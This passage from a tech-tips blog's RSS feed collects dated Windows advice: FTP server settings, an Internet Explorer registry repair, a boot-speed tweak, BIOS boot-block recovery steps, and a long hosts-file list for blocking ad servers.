General &lt;br /&gt;2. In the &#39;Connection&#39; Area is a setting labeled &#39;Listen on Port Number:&#39; &lt;br /&gt;3. Make it any number you want. That will be your port number. &lt;br /&gt;4. Click &#39;OK&#39; &lt;br /&gt;&lt;br /&gt;Making an &#39;Upload Only&#39; or &#39;Download Only&#39; ftp server. &lt;br /&gt;This is for the entire SERVER, not just a user. &lt;br /&gt;1. Setup &amp;gt; Main &amp;gt; Advanced &lt;br /&gt;2. In the advanced window you will have the following options: uploads and downloads, downloads only, and uploads only. By default upload and download will be checked. Change it to whatever you want. &lt;br /&gt;3. Click &#39;OK &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;While you are running your server, usually you will end up spending more time at your computer than you normally do. Don&#39;t be afraid to ban IP&#39;s. Remember, on your FTP you do as you want. &lt;br /&gt;&lt;br /&gt;When you are online you must also select the open server button next to the on-line button which is the on-line Button &lt;br /&gt;&lt;br /&gt;You also have to use the actual Numbered ip Address ie: 66.250.216.67 &lt;br /&gt;&lt;br /&gt;Or even Better yet, get a no-ip.com address</description><link>http://it-guide888.blogspot.com/2017/01/bulletproof-ftp-server-tutorial.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-5492655321284533577</guid><pubDate>Mon, 02 Jan 2017 07:39:00 +0000</pubDate><atom:updated>2017-01-01T23:39:02.201-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><category domain="http://www.blogger.com/atom/ns#">Windows</category><title>Broken IE, How to fix it</title><description>So one of your friends, not you of course, has managed to nuke Internet Explorer and they are unsure how they did it. Youve eliminated the possibility of viruses and adware, so this just leaves you and a broken IE. Before you begin to even consider running a repair install of the OS, lets try to do a repair on IE instead. &lt;br /&gt;&lt;br /&gt;THE REPAIR PROCESS &lt;br /&gt;&lt;br /&gt;Start the Registry Editor by typing regedit from the Run box. Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Active Setup \ Installed Components \ {89820200-ECBD-11cf-8B85-00AA005B4383} and then right-click the IsInstalled value. Click Modify. From there, you will change the value from 1 to 0. All right, go ahead and close the editor and reinstall IE from this location. /http://www.microsoft.com/windows/ie/default.mspx &lt;br /&gt;&lt;br /&gt;IF SOMETHING GOES WRONG &lt;br /&gt;&lt;br /&gt;If messing with the registry and something goes horribly wrong, you can use Last Known Good Configuration (F8 Safe Mode) or a Restore Point to get back to where you were before, with your settings. Then you can try again, this time taking care to watch the portion of the registry you are changing. Most people who have troubles with this end up changing the wrong registry key. &lt;br /&gt;&lt;br /&gt;Hope this tut helps some members.</description><link>http://it-guide888.blogspot.com/2017/01/broken-ie-how-to-fix-it.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-8682956395469271859</guid><pubDate>Sun, 01 Jan 2017 07:33:00 +0000</pubDate><atom:updated>2016-12-31T23:33:02.817-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><title>Boot Winxp Fast </title><description>Boot Winxp Fast&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Follow the following steps &lt;br /&gt;&lt;br /&gt;1. Open notepad.exe, type &quot;del c:\windows\prefetch\ntosboot-*.* /q&quot; (without the quotes) &amp;amp; save as &quot;ntosboot.bat&quot; in c:\ &lt;br /&gt;2. From the Start menu, select &quot;Run...&quot; &amp;amp; type &quot;gpedit.msc&quot;. &lt;br /&gt;3. Double click &quot;Windows Settings&quot; under &quot;Computer Configuration&quot; and double click again on &quot;Shutdown&quot; in the right window. &lt;br /&gt;4. In the new window, click &quot;add&quot;, &quot;Browse&quot;, locate your &quot;ntosboot.bat&quot; file &amp;amp; click &quot;Open&quot;. &lt;br /&gt;5. Click &quot;OK&quot;, &quot;Apply&quot; &amp;amp; &quot;OK&quot; once again to exit. &lt;br /&gt;6. From the Start menu, select &quot;Run...&quot; &amp;amp; type &quot;devmgmt.msc&quot;. &lt;br /&gt;7. Double click on &quot;IDE ATA/ATAPI controllers&quot; &lt;br /&gt;8. Right click on &quot;Primary IDE Channel&quot; and select &quot;Properties&quot;. &lt;br /&gt;9. Select the &quot;Advanced Settings&quot; tab then on the device or 1 that doesn&#39;t have &#39;device type&#39; greyed out select &#39;none&#39; instead of &#39;autodetect&#39; &amp;amp; click &quot;OK&quot;. &lt;br /&gt;10. Right click on &quot;Secondary IDE channel&quot;, select &quot;Properties&quot; and repeat step 9. &lt;br /&gt;11. Reboot your computer.</description><link>http://it-guide888.blogspot.com/2016/12/boot-winxp-fast.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-607983843046968518</guid><pubDate>Sun, 01 Jan 2017 07:32:00 +0000</pubDate><atom:updated>2016-12-31T23:32:09.516-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><title>Boot Block Recovery For Free</title><description>Boot Block Recovery For Free &lt;br /&gt;&lt;br /&gt;You don&#39;t need to pay a measly sum of dollars just to recover from a boot block mode. Here it is folks: &lt;br /&gt;&lt;br /&gt;AWARD Bootblock recovery: &lt;br /&gt;&lt;br /&gt;That shorting trick should work if the boot block code is not corrupted, and it should not be if /sb switch is used when flashing the bios (instead of /wb switch). &lt;br /&gt;&lt;br /&gt;The 2 pins to short to force a checksum error varies from chip to chip. But these are usually the highest-numbered address pins (A10 and above). &lt;br /&gt;&lt;br /&gt;These are the pins used by the system to read the System BIOS (original.bin for award v6), calculate the ROM checksum and see if it&#39;s valid before decompressing it into memory, and subsequently allow Bootblock POST to pass control over to the System BIOS. &lt;br /&gt;&lt;br /&gt;You just have to fool the system into believing that the System BIOS is corrupt. This you do by giving your system a hard time reading the System BIOS by shorting the 2 high address pins. And when it could not read the System BIOS properly, ROM Checksum Error is detected &quot;so to speak&quot; and Bootblock recovery is activated. &lt;br /&gt;&lt;br /&gt;Sometimes, any combination of the high address pins won&#39;t work to force a checksum error in some chips, like my Winbond W49F002U. But shorting the #WE pin with the highest-numbered address pin (A17) worked for this chip. You just have to be experimentative if you&#39;re not comfortable with &quot;hot flashing&quot; or &quot;replacement BIOS&quot;. &lt;br /&gt;&lt;br /&gt;But to avoid further damage to your chip if you&#39;re not sure which are the correct pins to short, measure the potential between the 2 pins by a voltmeter while the system is on. If the voltage reading is zero (or no potential at all), it is safe to short these pins. &lt;br /&gt;&lt;br /&gt;But do not short the pins while the system is on. Instead, power down then do the short, then power up while still shorting. And as soon as you hear 3 beeps (1 long, 2 short), remove the short at once so that automatic reflashing from Drive A can proceed without errors (assuming you had autoexec.bat in it). &lt;br /&gt;&lt;br /&gt;About how to do the shorting, the tip of a screwdriver would do. But with such minute pins on the PLCC chip, I&#39;m pretty comfortable doing it with the tip of my multi-tester or voltmeter probe. Short the pins at the point where they come out of the chip. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AMIBIOS Recovery bootblock: &lt;br /&gt;1. Copy a known working BIOS image for your board to a floppy and rename it to AMIBOOT.ROM. &lt;br /&gt;2. Insert the floppy in your system&#39;s floppydrive. &lt;br /&gt;3. Power on the system while holding CTRL+Home keys. Release the keys when you hear a beep and/or see the floppy light coming on. &lt;br /&gt;4 . Just wait until you hear 4 beeps. When 4 beeps are heard the reprogramming of the System Block BIOS went succesfull, so then you may restart your system. &lt;br /&gt;&lt;br /&gt;Some alternative keys that can be used to force BIOS update (only the System Block will be updated so it&#39;s quite safe): &lt;br /&gt;CTRL+Home= restore missing code into system block and clear CMOS when programming went ok. &lt;br /&gt;CTRL+Page Up= restore missing code into system block and clear CMOS or DMI when programming went ok. &lt;br /&gt;CTRL+Page Down= restore missing code into system block and do not clear CMOS and DMI area when programming went ok &lt;br /&gt;Btw: the alternative keys work only with AMIBIOS 7 or higher (so for example an AMI 6.26 BIOS can be only recovered by using CTRL+Home keys). &lt;br /&gt;Boot Block Recovery for FREE &lt;br /&gt;&lt;br /&gt;************************************************ &lt;br /&gt;BLACKOUT Flashing &lt;br /&gt;************************************************* &lt;br /&gt;&lt;br /&gt;Recovering a Corrupt AMI BIOS chip &lt;br /&gt;With motherboards that use BOOT BLOCK BIOS it is possible to recover a corrupted BIOS because the BOOT BLOCK section of the BIOS, which is responsible for booting the computer remains unmodified. When an AMI BIOS becomes corrupt the system will appear to start, but nothing will appear on the screen, the floppy drive light will come on and the system will access the floppy drive repeatedly. If your motherboard has an ISA slot and you have an old ISA video card lying around, put the ISA video card in your system and connect the monitor. The BOOT BLOCK section of the BIOS only supports ISA video cards, so if you do not have an ISA video card or your motherboard does not have ISA slots, you will have to restore your BIOS blind, with no monitor to show you whats going on. &lt;br /&gt;&lt;br /&gt;AMI has integrated a recovery routine into the BOOT BLOCK of the BIOS, which in the event the BIOS becomes corrupt can be used to restore the BIOS to a working state. The routine is called when the SYSTEM BLOCK of the BIOS is empty. The restore routine will access the floppy drive looking for a BIOS file names AMIBOOT.ROM, this is why the floppy drive light comes on and the drive spins. If the file is found it is loaded into the SYSTEM BLOCK of the BIOS to replace the missing information. To restore your BIOS simply copy a working BIOS file to a floppy diskette and rename it AMIBOOT.ROM, then insert it into the computer while the power is on. The diskette does not need to be bootable or contain a flash utility. After about four minutes the system will beep four times. Remove the floppy diskette from the drive and reboot the computer. The BIOS should now be restored. &lt;br /&gt;&lt;br /&gt;Recovering a Corrupt AWARD BIOS &lt;br /&gt;With AWARD BIOS the process is similar but still a bit different. To recover an AWARD BIOS you will need to create a floppy diskette with a working BIOS file in .BIN format, an AWARD flash utility and an AUTOEXEC.BAT file. AWARD BIOS will not automatically restore the BIOS information to the SYSTEM BLOCK for this reason you will need to add the commands necessary to flash the BIOS in the AUTOEXEC.BAT file. The system will run the AUTOEXE.BAT file, which will in turn flash the BIOS. This is fairly easy. Here are the steps you need to take. &lt;br /&gt;&lt;br /&gt;· Create a bootable floppy diskette &lt;br /&gt;· Copy the BIOS file and flash utility to the diskette &lt;br /&gt;· Create an text file with any standard text editor and add the following lines &lt;br /&gt;&lt;br /&gt;@ECHO OFF &lt;br /&gt;FLASH763 BIOSFILE.BIN /py &lt;br /&gt;&lt;br /&gt;In the above example I am assuming that you are using the FLASH763.EXE flash utility. You will need to replace the FLASH763 with the name of whatever flash utility you are using, and replace the BIOSFILE.BIN with the name of the BIOS file you are using. You will also need to change the /py to whatever the command is for your flash utility to automatically program the BIOS without user intervention. If you do not know the command to automatically flash your BIOS type the name of the flash utility with a space and then /? to display the utilitys help screen. The help screen should pecify the command switch to automatically flash your BIOS. If you are using the FLASH763.EXE utility then the switch to automatically flash your BIOS is /py.</description><link>http://it-guide888.blogspot.com/2016/12/boot-block-recovery-for-free.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-4162756135704364321</guid><pubDate>Sat, 31 Dec 2016 07:31:00 +0000</pubDate><atom:updated>2016-12-30T23:31:07.339-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><title>Block Adservers</title><description>Block Adservers &lt;br /&gt;&lt;br /&gt;f you wanna remove those nasty ads from the pages which waste lot of time and bandwidth then here is something for you I belive it will help you a lot &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;how it works &lt;br /&gt;It&#39;s possible to set up a name server as authoritative for any domain you choose, allowing you to specify the DNS records for that domain. You can also configure most computers to be sort of mini-nameservers for themselves, so that they check their own DNS records before asking a nameserver. Either way, you get to say what hostname points to what IP address. If you haven&#39;t guessed already, the way you block ads it to provide bogus information about the domains we don&#39;t want to see - ie, all those servers out there that dedicate their existence to spewing out banner ads. &lt;br /&gt;&lt;br /&gt;The hosts file &lt;br /&gt;&lt;br /&gt;Probably the most common way people block ads like this is with something called the &quot;hosts file&quot;. The hosts file is a simple list of hostnames and their corresponding IP addresses, which your computer looks at every time you try and contact a previously unknown hostname. If it finds an entry for the computer you&#39;re trying to reach, it sets the IP address for that computer to be whatever&#39;s in the hosts file. &lt;br /&gt;&lt;br /&gt;127.0.0.1 is a special IP address which, to a computer, always means that computer. Any time a machine sends a network request to 127.0.0.1, it is talking to itself. This is very useful when it comes to blocking ads, because all we have to do is specify the IP address of any ad server to be 127.0.0.1. And to do that, all we have to do is edit the hosts file. What will happen then is something like this: &lt;br /&gt;&lt;br /&gt;&amp;nbsp; 1. you visit a web page &lt;br /&gt;&amp;nbsp; 2. the web page contains a banner ad stored on the server &quot;ads.example.com&quot; &lt;br /&gt;&amp;nbsp; 3. your computer says &quot;ads.example.com? never heard of it. wait a second, let&#39;s see if I&#39;ve got the number on me...&quot; &lt;br /&gt;&amp;nbsp; 4. your computer finds its hosts file and checks to see if ads.example.com is listed &lt;br /&gt;&amp;nbsp; 5. it finds the hostname, which points to 127.0.0.1 &lt;br /&gt;&amp;nbsp; 6. &quot;great&quot;, says the computer, and sends off a request to 127.0.0.1 for the banner ad that&#39;s supposed to be on the page &lt;br /&gt;&amp;nbsp; 7. &quot;oh&quot;, says the computer, and fails to show anything because it just sent a request to itself for a banner ad &lt;br /&gt;&lt;br /&gt;&amp;nbsp; Where&#39;s my hosts file? &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Windows 95 / 98 / ME: C:\Windows (I think) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Windows NT: C:\WinNT\hosts &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Windows 2000: C:\WinNT\system32\drivers\etc\ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Windows XP: C:\Windows\System32\drivers\etc &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * FreeBSD / Linux / Mac OS X / Unixish operating systems: /etc/hosts &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Classic Mac OS: please read this helpful information submitted by David &quot;iNerd&quot; B &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Mac OS 9: Marcia Skidmore sent in details that hopefully explain what you need to know &lt;br /&gt;&lt;br /&gt;The format of the hosts file is very simple - IP address, whitespace, then a list of hostnames (except for older Macs; please see above). However, you don&#39;t need to know anything about the format if you don&#39;t want to as you can just view the list hosts file. &lt;br /&gt;&lt;br /&gt;Of course, that&#39;s not the only way to use the list, but it&#39;s probably the most simple for most people. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;here is the hosts list which are serving you the ads just append it to your hosts file and enjoy ad free surfing makes things faster. if you want ad from certain site then just remove it from the list below. &lt;br /&gt;&lt;br /&gt;QUOTE &lt;br /&gt;127.0.0.1 007arcadegames.com &lt;br /&gt;127.0.0.1 101order.com &lt;br /&gt;127.0.0.1 123banners.com &lt;br /&gt;127.0.0.1 123found.com &lt;br /&gt;127.0.0.1 180searchassistant.com &lt;br /&gt;127.0.0.1 180solutions.com &lt;br /&gt;127.0.0.1 247media.com &lt;br /&gt;127.0.0.1 247realmedia.com &lt;br /&gt;127.0.0.1 24pm-affiliation.com &lt;br /&gt;127.0.0.1 2log.com &lt;br /&gt;127.0.0.1 2o7.net &lt;br /&gt;127.0.0.1 4affiliate.net &lt;br /&gt;127.0.0.1 4d5.net &lt;br /&gt;127.0.0.1 7adpower.com &lt;br /&gt;127.0.0.1 911promotion.com &lt;br /&gt;127.0.0.1 a-counter.kiev.ua &lt;br /&gt;127.0.0.1 a.consumer.net &lt;br /&gt;127.0.0.1 a.gismeteo.ru &lt;br /&gt;127.0.0.1 a.mktw.net &lt;br /&gt;127.0.0.1 a.r.tv.com &lt;br /&gt;127.0.0.1 a.xanga.com &lt;br /&gt;127.0.0.1 a32.g.a.yimg.com &lt;br /&gt;127.0.0.1 aaddzz.com &lt;br /&gt;127.0.0.1 abcnews.footprint.net &lt;br /&gt;127.0.0.1 abetterinternet.com &lt;br /&gt;127.0.0.1 abz.com &lt;br /&gt;127.0.0.1 ac.rnm.ca &lt;br /&gt;127.0.0.1 accelerator-media.com &lt;br /&gt;127.0.0.1 accipiter.speedera.net &lt;br /&gt;127.0.0.1 action.ientry.net &lt;br /&gt;127.0.0.1 actionsplash.com &lt;br /&gt;127.0.0.1 actualdeals.com &lt;br /&gt;127.0.0.1 ad-annex.com &lt;br /&gt;127.0.0.1 ad-flow.com &lt;br /&gt;127.0.0.1 ad-images.suntimes.com &lt;br /&gt;127.0.0.1 ad-logics.com &lt;br /&gt;127.0.0.1 ad-rotator.com &lt;br /&gt;127.0.0.1 ad-server.gulasidorna.se &lt;br /&gt;127.0.0.1 ad-souk.com &lt;br /&gt;127.0.0.1 ad-space.net &lt;br /&gt;127.0.0.1 ad-tech.com &lt;br /&gt;127.0.0.1 ad-universe.com &lt;br /&gt;127.0.0.1 ad-up.com &lt;br /&gt;127.0.0.1 ad.100.tbn.ru &lt;br /&gt;127.0.0.1 ad.37.com &lt;br /&gt;127.0.0.1 ad.4web.cz &lt;br /&gt;127.0.0.1 ad.71i.de &lt;br /&gt;127.0.0.1 ad.a8.net &lt;br /&gt;127.0.0.1 ad.abcnews.com &lt;br /&gt;127.0.0.1 ad.abctv.com &lt;br /&gt;127.0.0.1 ad.about.com &lt;br /&gt;127.0.0.1 ad.aboutit.de &lt;br /&gt;127.0.0.1 ad.aboutwebservices.com &lt;br /&gt;127.0.0.1 ad.aftonbladet.se &lt;br /&gt;127.0.0.1 ad.allstar.cz &lt;br /&gt;127.0.0.1 ad.altervista.org &lt;br /&gt;127.0.0.1 ad.asap-asp.net &lt;br /&gt;127.0.0.1 ad.bondage.com &lt;br /&gt;127.0.0.1 ad.centrum.cz &lt;br /&gt;127.0.0.1 ad.cgi.cz &lt;br /&gt;127.0.0.1 ad.chip.de &lt;br /&gt;127.0.0.1 ad.clix.pt &lt;br /&gt;127.0.0.1 ad.digitallook.com &lt;br /&gt;127.0.0.1 ad.directconnect.se &lt;br /&gt;127.0.0.1 ad.disney.go.com &lt;br /&gt;127.0.0.1 ad.domainfactory.de &lt;br /&gt;127.0.0.1 ad.dvdforum.nu &lt;br /&gt;127.0.0.1 ad.e-kolay.net &lt;br /&gt;127.0.0.1 ad.e-not.net &lt;br /&gt;127.0.0.1 ad.eurosport.com &lt;br /&gt;127.0.0.1 ad.ezpeer.com &lt;br /&gt;127.0.0.1 ad.fido.net &lt;br /&gt;127.0.0.1 ad.fragzone.se &lt;br /&gt;127.0.0.1 ad.free6.com &lt;br /&gt;127.0.0.1 ad.grafika.cz &lt;br /&gt;127.0.0.1 ad.harmony-central.com &lt;br /&gt;127.0.0.1 ad.hbv.de &lt;br /&gt;127.0.0.1 ad.howstuffworks.com &lt;br /&gt;127.0.0.1 ad.hyena.cz &lt;br /&gt;127.0.0.1 ad.iinfo.cz &lt;br /&gt;127.0.0.1 ad.ilse.nl &lt;br /&gt;127.0.0.1 ad.img.yahoo.co.kr &lt;br /&gt;127.0.0.1 ad.infoseek.com &lt;br /&gt;127.0.0.1 ad.investopedia.com &lt;br /&gt;127.0.0.1 ad.ir.ru &lt;br /&gt;127.0.0.1 ad.itmedia.co.jp &lt;br /&gt;127.0.0.1 ad.jetsoftware.com &lt;br /&gt;127.0.0.1 ad.keenspace.com &lt;br /&gt;127.0.0.1 ad.krutilka.ru &lt;br /&gt;127.0.0.1 ad.leadcrunch.com &lt;br /&gt;127.0.0.1 ad.linx.cz &lt;br /&gt;127.0.0.1 ad.liveinternet.ru &lt;br /&gt;127.0.0.1 ad.lupa.cz &lt;br /&gt;127.0.0.1 ad.mediastorm.hu &lt;br /&gt;127.0.0.1 ad.mgd.de &lt;br /&gt;127.0.0.1 ad.moscowtimes.ru &lt;br /&gt;127.0.0.1 ad.musicmatch.com &lt;br /&gt;127.0.0.1 ad.mwizard.net &lt;br /&gt;127.0.0.1 ad.nachtagenten.de &lt;br /&gt;127.0.0.1 ad.nozonedata.com &lt;br /&gt;127.0.0.1 ad.nrk.no &lt;br /&gt;127.0.0.1 ad.pbs.bb.ru &lt;br /&gt;127.0.0.1 ad.playground.ru &lt;br /&gt;127.0.0.1 ad.preferances.com &lt;br /&gt;127.0.0.1 ad.rambler.ru &lt;br /&gt;127.0.0.1 ad.reunion.com &lt;br /&gt;127.0.0.1 ad.seznam.cz &lt;br /&gt;127.0.0.1 ad.simgames.net &lt;br /&gt;127.0.0.1 ad.spieletips.de &lt;br /&gt;127.0.0.1 ad.suprnova.org &lt;br /&gt;127.0.0.1 ad.surfsecret.com &lt;br /&gt;127.0.0.1 ad.sweclockers.com &lt;br /&gt;127.0.0.1 ad.t2t2.com &lt;br /&gt;127.0.0.1 ad.tbn.ru &lt;br /&gt;127.0.0.1 ad.tiscali.com &lt;br /&gt;127.0.0.1 ad.tisnet.net.tw &lt;br /&gt;127.0.0.1 ad.tomshardware.com &lt;br /&gt;127.0.0.1 ad.top50.to &lt;br /&gt;127.0.0.1 ad.tv2.no &lt;br /&gt;127.0.0.1 ad.tweakpc.de &lt;br /&gt;127.0.0.1 ad.uk.tangozebra.com &lt;br /&gt;127.0.0.1 ad.uol.com.br &lt;br /&gt;127.0.0.1 ad.usatoday.com &lt;br /&gt;127.0.0.1 ad.way.cz &lt;br /&gt;127.0.0.1 ad.wz.cz &lt;br /&gt;127.0.0.1 ad.yadro.ru &lt;br /&gt;127.0.0.1 ad.yieldmanager.com &lt;br /&gt;127.0.0.1 ad.yourmedia.com &lt;br /&gt;127.0.0.1 ad01.mediacorpsingapore.com &lt;br /&gt;127.0.0.1 ad1.emediate.dk &lt;br /&gt;127.0.0.1 ad1.gamezone.com &lt;br /&gt;127.0.0.1 ad1.hardware.no &lt;br /&gt;127.0.0.1 ad1.kde.cz &lt;br /&gt;127.0.0.1 ad1.lbe.ru &lt;br /&gt;127.0.0.1 ad1.outpost.com &lt;br /&gt;127.0.0.1 ad1.zendmedia.com &lt;br /&gt;127.0.0.1 ad2.atlas.cz &lt;br /&gt;127.0.0.1 ad2.bb.ru &lt;br /&gt;127.0.0.1 ad2.insitemedia.hu &lt;br /&gt;127.0.0.1 ad2.lbe.ru &lt;br /&gt;127.0.0.1 ad2.linx.cz &lt;br /&gt;127.0.0.1 ad2.linxcz.cz &lt;br /&gt;127.0.0.1 ad2.lupa.cz &lt;br /&gt;127.0.0.1 ad2.mamma.com &lt;br /&gt;127.0.0.1 ad2.seznam.cz &lt;br /&gt;127.0.0.1 ad2.tisnet.net.tw &lt;br /&gt;127.0.0.1 ad3.tisnet.net.tw &lt;br /&gt;127.0.0.1 ad4.atlas.cz &lt;br /&gt;127.0.0.1 ad4.tisnet.net.tw &lt;br /&gt;127.0.0.1 ad41.atlas.cz &lt;br /&gt;127.0.0.1 ad4ex.com &lt;br /&gt;127.0.0.1 adbanner.ro &lt;br /&gt;127.0.0.1 adboost.de.vu &lt;br /&gt;127.0.0.1 adbot.com &lt;br /&gt;127.0.0.1 adbot.theonion.com &lt;br /&gt;127.0.0.1 adbrite.com &lt;br /&gt;127.0.0.1 adbureau.net &lt;br /&gt;127.0.0.1 adbutler.com &lt;br /&gt;127.0.0.1 adbutler.de &lt;br /&gt;127.0.0.1 adcell.de &lt;br /&gt;127.0.0.1 adcenter.mdf.se &lt;br /&gt;127.0.0.1 adcenter.net &lt;br /&gt;127.0.0.1 adcentriconline.com &lt;br /&gt;127.0.0.1 adcept.net &lt;br /&gt;127.0.0.1 adclick.com &lt;br /&gt;127.0.0.1 adclick.gamespy.com &lt;br /&gt;127.0.0.1 adclick.mint.se &lt;br /&gt;127.0.0.1 adclick.ro &lt;br /&gt;127.0.0.1 adclient.rottentomatoes.com &lt;br /&gt;127.0.0.1 adclient1.tucows.com &lt;br /&gt;127.0.0.1 adcomplete.com &lt;br /&gt;127.0.0.1 adcontent.gamespy.com &lt;br /&gt;127.0.0.1 adcontroller.unicast.com &lt;br /&gt;127.0.0.1 adcreative.tribuneinteractive.com &lt;br /&gt;127.0.0.1 adcycle.com &lt;br /&gt;127.0.0.1 adcycle.icpeurope.net &lt;br /&gt;127.0.0.1 addcontrol.net &lt;br /&gt;127.0.0.1 addesktop.com &lt;br /&gt;127.0.0.1 addfreestats.com &lt;br /&gt;127.0.0.1 addme.com &lt;br /&gt;127.0.0.1 addynamix.com &lt;br /&gt;127.0.0.1 adengage.com &lt;br /&gt;127.0.0.1 adext.inkclub.com &lt;br /&gt;127.0.0.1 adfarm.mediaplex.com &lt;br /&gt;127.0.0.1 adfiles.api.no &lt;br /&gt;127.0.0.1 adflight.com &lt;br /&gt;127.0.0.1 adfly.com &lt;br /&gt;127.0.0.1 adhostcenter.com &lt;br /&gt;127.0.0.1 adi.mainichi.co.jp &lt;br /&gt;127.0.0.1 adimage.asiaone.com.sg &lt;br /&gt;127.0.0.1 adimages.been.com &lt;br /&gt;127.0.0.1 adimages.carsoup.com &lt;br /&gt;127.0.0.1 adimages.go.com &lt;br /&gt;127.0.0.1 adimages.homestore.com &lt;br /&gt;127.0.0.1 adimages.sanomawsoy.fi &lt;br /&gt;127.0.0.1 adimg.cnet.com &lt;br /&gt;127.0.0.1 adimg.com.com &lt;br /&gt;127.0.0.1 adimg1.chosun.com &lt;br /&gt;127.0.0.1 adimgs.sapo.pt &lt;br /&gt;127.0.0.1 adincl.gopher.com &lt;br /&gt;127.0.0.1 adition.de &lt;br /&gt;127.0.0.1 adition.net &lt;br /&gt;127.0.0.1 adjuggler.yourdictionary.com &lt;br /&gt;127.0.0.1 adlegend.com &lt;br /&gt;127.0.0.1 adlink.de &lt;br /&gt;127.0.0.1 adlog.com.com &lt;br /&gt;127.0.0.1 adlogix.net &lt;br /&gt;127.0.0.1 adm.ad.asap-asp.net &lt;br /&gt;127.0.0.1 adman.freeze.com &lt;br /&gt;127.0.0.1 admanagement.ch &lt;br /&gt;127.0.0.1 admanager.beweb.com &lt;br /&gt;127.0.0.1 admanager.btopenworld.com &lt;br /&gt;127.0.0.1 admanager.carsoup.com &lt;br /&gt;127.0.0.1 admanager.persianblog.com &lt;br /&gt;127.0.0.1 admaximize.com &lt;br /&gt;127.0.0.1 admedia.ro &lt;br /&gt;127.0.0.1 admeta.com &lt;br /&gt;127.0.0.1 admex.com &lt;br /&gt;127.0.0.1 adminder.com &lt;br /&gt;127.0.0.1 adminshop.com &lt;br /&gt;127.0.0.1 admonitor.com &lt;br /&gt;127.0.0.1 admonitor.net &lt;br /&gt;127.0.0.1 admotion.com.ar &lt;br /&gt;127.0.0.1 adnet.biz &lt;br /&gt;127.0.0.1 adnews.maddog2000.de &lt;br /&gt;127.0.0.1 ado.internet.cz &lt;br /&gt;127.0.0.1 adorigin.com &lt;br /&gt;127.0.0.1 adpepper.dk &lt;br /&gt;127.0.0.1 adpick.switchboard.com &lt;br /&gt;127.0.0.1 adprofile.net &lt;br /&gt;127.0.0.1 adprojekt.pl &lt;br /&gt;127.0.0.1 adpush.dreamscape.com &lt;br /&gt;127.0.0.1 adq.nextag.com &lt;br /&gt;127.0.0.1 adremedy.com &lt;br /&gt;127.0.0.1 adremote.pathfinder.com &lt;br /&gt;127.0.0.1 adrenaline.cz &lt;br /&gt;127.0.0.1 adrenalinesk.sk &lt;br /&gt;127.0.0.1 adreporting.com &lt;br /&gt;127.0.0.1 adres.internet.com &lt;br /&gt;127.0.0.1 adrevolver.com &lt;br /&gt;127.0.0.1 adrevolver.holzmannverlag.de &lt;br /&gt;127.0.0.1 adriver.ru &lt;br /&gt;127.0.0.1 adroar.com &lt;br /&gt;127.0.0.1 adrotate.de &lt;br /&gt;127.0.0.1 adrotator.net &lt;br /&gt;127.0.0.1 ads-205.quarterserver.de &lt;br /&gt;127.0.0.1 ads-de.spray.net &lt;br /&gt;127.0.0.1 ads.100asians.com &lt;br /&gt;127.0.0.1 ads.5ci.lt &lt;br /&gt;127.0.0.1 ads.aceweb.net &lt;br /&gt;127.0.0.1 ads.adshareware.net &lt;br /&gt;127.0.0.1 ads.adultfriendfinder.com &lt;br /&gt;127.0.0.1 ads.advance.net &lt;br /&gt;127.0.0.1 ads.adverline.com &lt;br /&gt;127.0.0.1 ads.affiliates.match.com &lt;br /&gt;127.0.0.1 ads.allsites.com &lt;br /&gt;127.0.0.1 ads.alwayson-network.com &lt;br /&gt;127.0.0.1 ads.amazingmedia.com &lt;br /&gt;127.0.0.1 ads.amdmb.com &lt;br /&gt;127.0.0.1 ads.aol.com &lt;br /&gt;127.0.0.1 ads.as4x.tmcs.net &lt;br /&gt;127.0.0.1 ads.asia1.com.sg &lt;br /&gt;127.0.0.1 ads.asiafriendfinder.com &lt;br /&gt;127.0.0.1 ads.aspalliance.com &lt;br /&gt;127.0.0.1 ads.battle.net &lt;br /&gt;127.0.0.1 ads.belointeractive.com &lt;br /&gt;127.0.0.1 ads.berlinonline.de &lt;br /&gt;127.0.0.1 ads.betanews.com &lt;br /&gt;127.0.0.1 ads.bfast.com &lt;br /&gt;127.0.0.1 ads.bigcitytools.com &lt;br /&gt;127.0.0.1 ads.bigfoot.com &lt;br /&gt;127.0.0.1 ads.billiton.de &lt;br /&gt;127.0.0.1 ads.bitsonthewire.com &lt;br /&gt;127.0.0.1 ads.blick.ch &lt;br /&gt;127.0.0.1 ads.bloomberg.com &lt;br /&gt;127.0.0.1 ads.bluemountain.com &lt;br /&gt;127.0.0.1 ads.box.sk &lt;br /&gt;127.0.0.1 ads.businessweek.com &lt;br /&gt;127.0.0.1 ads.canalblog.com &lt;br /&gt;127.0.0.1 ads.canoe.ca &lt;br /&gt;127.0.0.1 ads.cavello.com &lt;br /&gt;127.0.0.1 ads.cbc.ca &lt;br /&gt;127.0.0.1 ads.cdfreaks.com 